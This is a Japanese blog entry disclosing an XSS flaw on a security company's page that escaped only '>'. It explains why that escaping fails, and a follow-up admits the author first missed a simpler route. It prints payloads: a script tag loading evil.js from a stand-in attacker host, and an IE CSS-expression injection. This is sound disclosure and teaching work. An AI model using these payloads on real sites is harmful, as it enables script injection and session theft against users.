■
■XSS脆弱性修正に失敗してしまった駄目な例
はじめに
本件は本日IPAに報告したものです。未修正の脆弱性を抱えているサイトについてつまびらかにすることは宜しくありませんし、そのことは重々承知しております。しかしながら色々な意味で非常に教訓的ですので、やや辛口の意見をここに書くことにしました。
XSS脆弱性があったのはどんなサイトでどんなページか
世界的に有数の超優良営利企業であり、主たる利益をITのセキュリティ方面で叩き出している某企業の公式サイトです。XSS脆弱性が存在するページは、その企業の収益を支える基幹ないし中核部分を担うサービスを行うCGIページです。
過去の恥辱と現在と
該当するページには、最近のことではありませんが、かつてXSS脆弱性が存在することが明らかになり広く報道された経緯があります。セキュリティ方面の企業としてはいかがなものかという評価を誰もが下すことでしょう。
そしてなおかつ、未だにそのページにはXSS脆弱性があります。対処策が定石にはずれていて不充分なのです。
XSS脆弱性の発現点
ユーザ入力がCGIで処理され、問題のページにおいて出力される部分をこの説明では $USEROUTPUT とします。問題のページには、以下のような部分があります。
<input type=hidden name=foo value='$USEROUTPUT'>
上の箇所にてXSS脆弱性が発生しています。なお、name属性の値はfooでマスクしてあります。どのサイトであるのかがわからないようにする為です。念の入れすぎでしょうか。
発現の原因
ユーザ入力をエスケープして $USEROUTPUT とするわけですが、恐るべきことに、エスケープとしては、『>』を『>』に変換しているのみでした。『<』『'』『&』『"』についてはノータッチなのです。
これでは全くもって中途半端であり駄目なエスケープです。現に私は今夜、風呂上りの冷たい梅酒をイッパイひっかけながらもごく簡単に、XSS脆弱性をついてJavaScriptを走らせました。ページコンテンツを偽装し、alert()も出力しました。
脆弱性対処方法の誤解
この駄目なCGIのメンテにあたって、かつてXSS脆弱性が有名になっていたこと、そして企業の評判が一時的にかなり下がったことを想起しますと、修正担当者は、懸命にJavaScriptが発動しないようにエスケープの仕組みを工夫したに相違ありません。当時既に一般的なXSS脆弱性対処策は有名であり固まっていたと言える時期でした。それにも関わらず恐らくadhocに自力で対処し、絶対的な自信をもって【解決した】つもりになっていたのでしょう。先ほど提示したようになんとも中途半端なエスケープで充分だと判断したに違いありません。
いったいどこにこのような我流のエスケープで済ませてしまう要因があったのでしょうか。
勘違いの理由を推測してみます。該当脆弱点のinput要素では、value属性として、&USEROUTPUT が『'』で括られて出力されるのでした。ところで、このinput要素はtype属性がhiddenです。従って、&USEROUTPUT に含まれる『'』をエスケープしない状況下においてvalue属性が操作され強制的に終了させられてさらに新たに別の属性が追加されたとしても、hiddenはhiddenのままです。onEventな属性を追加されてもhiddenなinput要素では効果がありません。JavaScriptは起動しないと考えてもさしつかえないと考えることは不自然ではありません。style属性の追加をされてもhiddenな項目には効果がないものと考えたのでしょう。以上によりvalue属性が不当に閉じられても痛くも痒くもない、そのように考えたに違いありません。従って『'』がエスケープ対象になっていないのでしょう。また、『>』だけはエスケープしてあります。この意図は明白です。input要素を &USEROUTPUT に含まれる『>』によって強制的に閉じられることを嫌ったのです。XSS脆弱性への攻撃手法として要素を強制的に閉じ、続けて新たに危険な要素を挿入することがよくあります。このinput要素さえ閉じられなければ、別途script要素などを追加されるわけがない…『>』さえ禁止しておけば、typeがhiddenな要素へのエスケープは充分だ…このようにこのCGIの修正者は考えたことでしょう。エスケープにあたっては「必要なことしか行わない」「無駄な エスケープは美意識に反する、優雅でない」「一般的なXSS対策は冗長である。今回のXSS対策はもうちょっとかっこよく行こう。」などと担当者が考えたこと、すなわち我流、以上が、このCGIに未だにXSS脆弱性が存在する事態に至っていることの原因についての、私なりの推測です。
我流はいけません。せっかく蓄積されたノウハウがあるのですからしっかりと対策を行うべきでしょう。
それではどんな風に脆弱性が発現しますか
上のケースでは『>』を使わなくとも要素を閉じることが出来ます。幸い『<』は自由に使えますから、続けてscript要素を突っ込んで出来上がりです。
<input type=hidden name=foo value='$USEROUTPUT'>
上の$USEROUTPUTが問題なのでした。
<input type=hidden name=foo value=''<script src='http://evil.example.com/evil.js'</script '>
上で強調した部分が$USEROUTPUTに相当します。これにてFirefoxにて訪問したユーザに対し、悪意ある外部JSファイルが被害サイトの権限で作動します。『value=''』の直後、すなわち、『<script』の直前に、ブラウザによって『>』が補完されていると考えて読んでみてください。
『>』がないのにどうしてなの?これって変だし、Firefoxが間違っているのでは?という疑問が出るかもしれませんですね。簡単に言ってしまえば、Firefoxは正しく動作しています。けして不具合ではありません。技術的に詳しく知りたければ以下の素晴らしい文献がありますから、あたって下さい。
2-2. タグのまとめ閉じタグが連続する場合、前のタグの終了区切り子を省略することができます。
『>』を省略してもブラウザが適宜補うことが期待されるのです。なお、本日の日記ではFirefoxが主役でしたが、IEや他のブラウザで似たようなことが起きないとも限りません。Firefoxほど正確でないとしても…
まとめ
セキュリティ対策では、どんなに腕自慢であったとしてもけして我流で対処しないことが肝心です。先人がまとめた対策にはそれなりに熟成しているものと考えましょう。また、陳腐化している恐れもありますから日頃から情報収集を心がけましょう。自信がなければ信頼できるセキュリティ専門家の援助を積極的に受けましょう。
一度でも火が吹いたなら、恥ずかしいと思って、二度と火が吹かないようにしましょう。特にセキュリティで飯を食っているあなた。
■XSS脆弱性修正に失敗してしまった駄目な例を説明しようとしてなおさらに駄目駄目な例(自嘲)
本日の日記の上のほうに書いてあることがダメダメであることがハッキリしました
<input type=hidden name=foo value='' style="xss:expression(alert(document.location))" id=''>
なんで気がつかなかったんだろう>漏れ
駄目駄目。orz
そういえば、小学校3年の算数の授業参観で、とある円の中の図形の線分の長さを求めよという問題を与えられてしずしずと進み出て黒板で解いたことがあるのですが、クソ生意気にもピタゴラスの定理を使って求めたのでした。求まった値は正解だったのですが。先生が期待した答えは長方形の2本の対角線の長さは互いにあい等しいという自明な事実に基づくものでした。つまり、自分の机の前で口頭で答えることが可能な。
私の親は参観していませんでした。後日の面談で私の親は先生に愚痴られたようです。わざとじゃないのはわかるけれど、授業参観の授業計画が大幅に狂ったと。私の親はピタゴラスの定理なんざ知らない人なんですが、それでもことの重大性がわかったらしいです。
要するに、一番簡単な方法があるのに、別解がありそうだと睨むと、わざわざ難しく考えて、そちらに集中してしまうという悪い癖があるのでした。今も治っていないことが露呈してしまいましたね。この欠陥は大きいなぁ、としみじみ。
それはともかく、この問題のサイトはIEでもFirefoxでも駄目なんじゃん!ということがわかりました。よしとしましょうか…うーん。なにがよいのかサッパリわかりませんけれども。それにつけてもよく今まで問題のサイトの脆弱性について誰も指摘しなかったものですねぇ。気がついたのが悪い人ばかりなのでしょうか。だとしたらイヤですね、とても。